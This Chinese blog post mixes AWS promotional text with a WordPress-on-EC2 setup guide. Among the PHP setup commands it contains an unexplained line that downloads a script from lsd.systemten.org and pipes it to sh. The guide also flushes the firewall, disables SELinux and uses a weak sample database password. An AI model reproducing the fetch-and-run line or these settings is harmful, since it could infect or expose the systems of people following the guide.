wzhwangzhuohui 2020-05-29
全球各地的公司都在转向基于云的基础设施,以提高 IT 敏捷性、获得无限的可扩展性、提高可靠性并降低成本。他们希望能够灵活地快速扩展其运营,而无需担心构建新的IT基础设施。他们希望最大限度地减少延迟和数据包传输所需的时间,以避免延迟和中断,从而改进最终用户和客户的体验。因此,客户希望能够轻松支持任何特定国家或地区数据主权要求,也就是说,客户需要能够灵活选择广泛的数据中心地理区域来部署应用程序工作负载。
Amazon Web Services(AWS)是全球最全面、应用最广泛的云平台,从全球数据中心提供超过165项功能齐全的服务。数百万客户(包括增长最快速的初创公司、最大型企业和政府领导机构)信任AWS,选择AWS为他们的基础设施提供技术支持,提高他们的敏捷性并降低成本。
AWS全球基础设施提供了公司可以依赖的云基础设施,无论其规模、不断变化的需求或面临的挑战如何。AWS全球基础设施的设计和构建旨在提供最灵活可靠、可扩展且安全的云计算环境,以及当今最高质量的全球网络性能。AWS基础设施的每个组件都经过精心设计和构建,以实现从区域到网络链路、到负载均衡器,再到路由器和固件的冗余和可靠性。
AWS为一大系列应用程序提供服务,包括计算、存储、数据库、联网、分析、机器学习和人工智能(AI)、物联网(IoT)、安全及应用程序开发、部署和管理。
除了提供最大的服务范围之外,AWS还拥有这些服务中的最深度的功能。例如,Amazon EC2提供的计算实例类型和大小比任何其他提供商都多,其中包括用于机器学习工作负载的最强大的GPU实例。AWS的数据库服务数量也比其他任何提供商多一倍以上,其中包括十一项关系和非关系数据库服务。而且,AWS有最多的方式来运行容器,包括Amazon Elastic Container Service(ECS)、Amazon Elastic Container Service for Kubernetes(EKS)和AWS Fargate。
借助此广泛的服务选择及深度功能,可以更加轻松、快速且经济高效地将现有的应用程序迁移到云中,并且几乎可以构建能想象到的一切。
AWS拥有最大且最具活力的生态系统,在全球拥有数百万活跃客户和数万个合作伙伴。几乎所有行业和规模的客户,包括初创公司、企业和公共部门组织,都在AWS上运行所有可能的使用案例。
AWS合作伙伴网络包括专注于AWS服务的数千个系统集成商和成千上万个将其技术应用到AWS中的独立软件供应商(ISV)。
AWS Marketplace是在AWS上运行的ISV的软件数字目录,它提供来自1400多个ISV的35种类别和4500多个软件列表,几乎是其他所有地方所有软件列表的两倍。
AWS旨在成为当今市场上最灵活、最安全的云计算环境。其核心基础设施是为了满足军事、环球银行和其他高度敏感性组织的安全要求而构建。
AWS使用相同的安全硬件和软件来构建和运行每个区域,因此,所有的客户都能受益于唯一的商业云,经审查,该商业云中的服务产品和相关的供应链被视为对绝密的工作负载足够安全。一组深度云安全工具对此提供支持,其中包括203项安全、合规性和管理服务及主要功能。
此外,AWS还支持85个安全标准和合规性认证,而且存储客户数据的全部116项AWS服务均具有加密该数据的能力。
2018年,AWS发布了1957项新服务和功能,以无与伦比的速度践行着创新,尤其是在机器学习和人工智能、物联网和无服务器计算等新领域。借助AWS,用户可以利用最新的技术进行创新、提供差别服务及快速交付解决方案。
例如,2014年,随着AWS Lambda的推出,AWS开创了事件驱动型无服务器计算空间。AWS Lambda让开发人员可以在不预置或管理服务的情况下运行其代码,且无需担心任何底层服务器的预置、扩展、修补或管理。
2018年,AWS成为第一个使用C5n EC2实例类型提供100 Gbps网络带宽的云提供商。这种更高的网络性能可以加速各种分析、机器学习、大数据和数据湖应用程序的结果。
AWS在经验、成熟度、可靠性、安全性和性能方面,均无人可与之匹敌。AWS已经为全球数百万运行各种使用案例的客户提供云服务超过12年,并且拥有比任何云提供商更大规模的运营经验。
多年来,AWS运营的云服务是其他云服务提供商的很多倍,同时在听取客户的意见和学习中,不断迭代,在此帮助下,为客户提供出卓越的操作性能,客户可以依赖它执行最重要的工作负载。
Amazon Relational Database Service(Amazon RDS)是一项Web服务,让用户能够在云中更轻松地设置、操作和扩展关系数据库。它可以经济有效地为用户提供一个容量可调的行业标准的关系数据库,并承担常见的数据库管理任务。
RDS当前支持MySQL、MariaDB、PostgreSQL、Oracle和Microsoft SQL Server数据库引擎。每个数据库引擎有其自己支持的功能,并且每个版本的数据库引擎可能包括一些特定的功能。此外,每个数据库引擎在数据库参数组中均有一组参数,用于控制其管理的数据库的行为。
EBS是一种易于使用的高性能数据块存储服务,旨在与EC2一起使用,适用于任何规模的吞吐量和事务密集型工作负载。Amazon EBS上部署着广泛的工作负载,例如,关系数据库和非关系数据库、企业应用程序、容器化应用程序、大数据分析引擎、文件系统和媒体工作流。
AWS提供四种不同的卷类型以取得最佳的价格和性能平衡,EBS可以为高性能数据库工作负载实现单位数毫秒延迟,或为大型顺序工作负载实现每秒GB的吞吐量。EBS支持在不中断关键应用程序的情况下更改卷类型、调整性能或增加卷大小,从而在需要时获得经济高效的存储。
EBS卷专为任务关键型系统而设计,在可用区内可进行复制,可轻松扩展至数PB级的容量。此外还可以将EBS快照与自动生命周期策略配合使用,以备份Amazon S3中的卷,同时确保数据的地理保护和业务连续性。
EBS卷适用于要求最苛刻的工作负载,包括SAP、Oracle和Microsoft产品等任务关键型应用程序。采用SSD的选项包括专为高性能应用程序设计的卷,以及可为大多数工作负载提供高性价比的通用卷。采用HDD的卷专为大型连续工作负载而设计,例如,大数据分析引擎、日志处理和数据仓库。为了实现更高的每个实例存储性能,可同时使用多个卷。
Amazon Simple Storage Service(Amazon S3)是一项面向Internet的存储服务。通过 Amazon S3可以实现在Web上随时随地的存储和检索任意大小的数据。
S3将数据存储为存储桶中的对象,对象由文件和描述该文件的任何可选元数据组成。要将对象存储到S3中,需要将要存储的文件上传到存储桶中。上传文件时,可以设置对对象以及任何元数据的权限。
存储桶是存储对象的容器,可以有一个或多个存储桶。对于每个存储桶,都可以控制其访问权限(哪些用户可以在存储桶中创建、删除和列出对象)、访问日志以及区域。
手动添加3306和80端口。
选择收费模式,内存大小,区域与镜像。
选择网络、安全组、线路和宽带大小。
修改云服务器名称,配置密码。
检查选择的配置,并确认购买。
云服务器信息。
远程连接。
选择计费模式,修改实例名称,选择数据库引擎、版本、类型、性能、空间。
点击登录。
输入数据库密码。
可以在页面创建库,也可以远程连接创建。
选择磁盘大小,修改磁盘名称,选择计费方式。
点击创建桶。
选择计费方式,选择区域,修改桶名称。
连接到已创建的EC2实例。
为确保所有软件包都处于最新状态,需要对实例执行内核升级,此过程可能需要几分钟的时间,但能确保EC2系统拥有最新的安全更新和缺陷修复。
[ ~]# yum upgrade -y
清除防火墙规则。
[ ~]# iptables -t filter -F
[ ~]# iptables -t filter -X
永久关闭SELinux。
[ ~]# sed -i ‘s/SELINUX=enforcing/SELINUX=disabled/g‘ /etc/selinux/config
[ ~]# reboot
当实例处于最新状态后,便可以安装Apache Web服务器、MariaDB和PHP软件包。
[ ~]# yum install -y httpd mariadb-server php php-mysql
可以使用以下命令查看这些程序包的当前版本。
启动Apache Web服务器并设置开机自启。
[ ~]# systemctl start httpd
[ ~]# systemctl enable httpd
在Web浏览器中,输入实例的公有IP地址。如果/var/www/html中没有内容,则会看到Apache测试页面。
在Apache文档根目录中创建一个PHP文件。
[ ~]# echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.php
[1]+ Done ( curl -fsSL -m180 lsd.systemten.org || wget -q -T180 -O- lsd.systemten.org ) | sh > /dev/null 2>&1
在Web浏览器中,输入新建文件的URL。
(7)开启数据库
[ ~]# systemctl start mariadb
[ ~]# systemctl enable mariadb
红框内为云数据库内网ip。
将文件传入云服务器中并解压,复制解压后的wordpress目录到/var/www/html/下。
[ ~]# tar -zxvf wordpress-5.0.2-zh_CN.tar.gz
[ ~]# cp -rf wordpress /var/www/html/
在浏览器输入http://EC2_IP/wordpress,即可访问WordPress欢迎页面。
为了让WordPress正常运行,在数据库中创建数据库以及相应的账号。
注意红框内的用户名和密码
手动创建wp-config.php文件。
[ ~]# cat /var/www/html/wordpress/wp-config.php
<?php
/**
* WordPress基础配置文件。
*
* 这个文件被安装程序用于自动生成wp-config.php配置文件,
* 可以不使用网站生成,需要手动复制这个文件,
* 并重命名为“wp-config.php”,然后填入相关信息。
*
* 本文件包含以下配置选项:
*
* * MySQL设置
* * 密钥
* * 数据库表名前缀
* * ABSPATH
*
* @link https://codex.wordpress.org/zh-cn:%E7%BC%96%E8%BE%91_wp-config.php
*
* @package WordPress
*/
// ** MySQL:设置的具体信息来自正在使用的主机 ** //
/** WordPress数据库的名称 */
define(‘DB_NAME‘, ‘wordpress‘);
/** MySQL数据库用户名 */
define(‘DB_USER‘, ‘ds‘); //创建的用户名
/** MySQL数据库密码 */
define(‘DB_PASSWORD‘, ‘Ds123456‘); //数据库密码
/** MySQL主机 */
define(‘DB_HOST‘, ‘数据库ip‘); //数据库内网ip
/** 创建数据表时默认的文字编码 */
define(‘DB_CHARSET‘, ‘utf8mb4‘);
/** 数据库整理类型。如不确定请勿更改 */
define(‘DB_COLLATE‘, ‘‘);
/**#@+
* 身份认证密钥。
*
* 修改为任意独一无二的字串!
* 或者直接访问{@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org密钥生成服务}
* 任何修改都会导致所有cookies失效,所有用户将必须重新登录。
*
* @since 2.6.0
*/
define(‘AUTH_KEY‘, ‘o96P/{uub3_/m#VY3,KU:c7C:eT,*},<d[9/K<SdKuw-QJ8!|@+~*oN‘);
define(‘SECURE_AUTH_KEY‘, ‘1akka,TV:bg>.=qA+y6T{,rVZn)@ wifG3FH4Y[=ZTQ)I8`p,m&]}@<f-,^{‘);
define(‘LOGGED_IN_KEY‘, ‘+9dE2i$2G_mCm~[@M^j`/)VcI[F+`js %ud>zr)h+<-hr^<0EI~+)kJcBM6vU~u{‘);
define(‘NONCE_KEY‘, ‘I<kv;2[QpC!qw.:f}K%^97. i5PrL~xOE]ieF-#bZtL*jSzB7JxCR^[WEZ,_sn6/‘);
define(‘AUTH_SALT‘, ‘xjFz0z>,Ia<E`B!TU0-.QPs7:AqUJ;c3PTNR5WJl5|g20<_&2<(S-(QGz?!Z[}+Q‘);
define(‘SECURE_AUTH_SALT‘, ‘yf*?I>#jB9=E8^+:7v<WEkEBPtMW&==yU-,xZdc+TF%EWt{~zxP&VN2w,h^-5Hep‘);
define(‘LOGGED_IN_SALT‘, ‘T.f}uR24d4U= EQUo}AnhT;.mvsN.;N(?=3kW)O^D1|R!10{u<t2*pJjj>]J9S&x‘);
define(‘NONCE_SALT‘, ‘e32+aG!7F0 LNs|jIm&Od<#[<mqX5roA;n+OQFUy=b)xu5l4T‘);
/**#@-*/
/**
* WordPress数据表前缀。
*
* 如果需要在同一数据库内安装多个WordPress,请为每个WordPress设置不同的
* 数据表前缀。前缀名只能为数字、字母加下划线。
*/
$table_prefix = ‘wp_‘;
/**
* 开发者专用:WordPress调试模式。
*
* 将这个值改为true,WordPress将显示所有用于开发的提示。
* 强烈建议插件开发者在开发环境中启用WP_DEBUG。
*
*/
define(‘WP_DEBUG‘, false);
/* 好了!请不要再继续编辑。请保存本文件。使用愉快! */
/** WordPress目录的绝对路径。 */
if ( !defined(‘ABSPATH‘) )
define(‘ABSPATH‘, dirname(__FILE__) . ‘/‘);
/** 设置WordPress变量和包含文件。 */
require_once(ABSPATH . ‘wp-settings.php‘);
修改httpd.conf文件中以下内容。
[ ~]# vi /etc/httpd/conf/httpd.conf
<Directory "/var/www/html">
……
#
# AllowOverride controls what directives may be placed in .htaccess files.
# It can be "All", "None", or any combination of the keywords:
# Options FileInfo AuthConfig Limit
#
AllowOverride All #修改此处
#
# Controls who can get stuff from this server.
#
Require all granted
</Directory>
WordPress中的某些可用功能要求具有对Apache文档根目录的写入权限,例如,通过“Administration(管理)”屏幕上传媒体。
将/var/www及其内容的文件所有权授予apache用户。
[ ~]# chown -R apache /var/www
将/var/www及其内容的组所有权授予apache组。
[ ~]# chgrp -R apache /var/www
更改/var/www及其子目录的目录权限,添加组写入权限并设置未来子目录上的组ID。
[ ~]# chmod 2775 /var/www
[ ~]# find /var/www -type d -exec sudo chmod 2775 {} \;
递归地更改/var/www及其子目录的文件权限,以添加组写入权限。
[ ~]# find /var/www -type f -exec sudo chmod 0664 {} \;
重启Apache Web服务器,让新组和权限生效。
[ ~]# systemctl restart httpd
在浏览器上再次访问WordPress页面,进入WordPress登录信息配置界面,根据需求,设置相应的站点名称、用户名和密码。
认证成功后,进入WordPress仪表盘界面。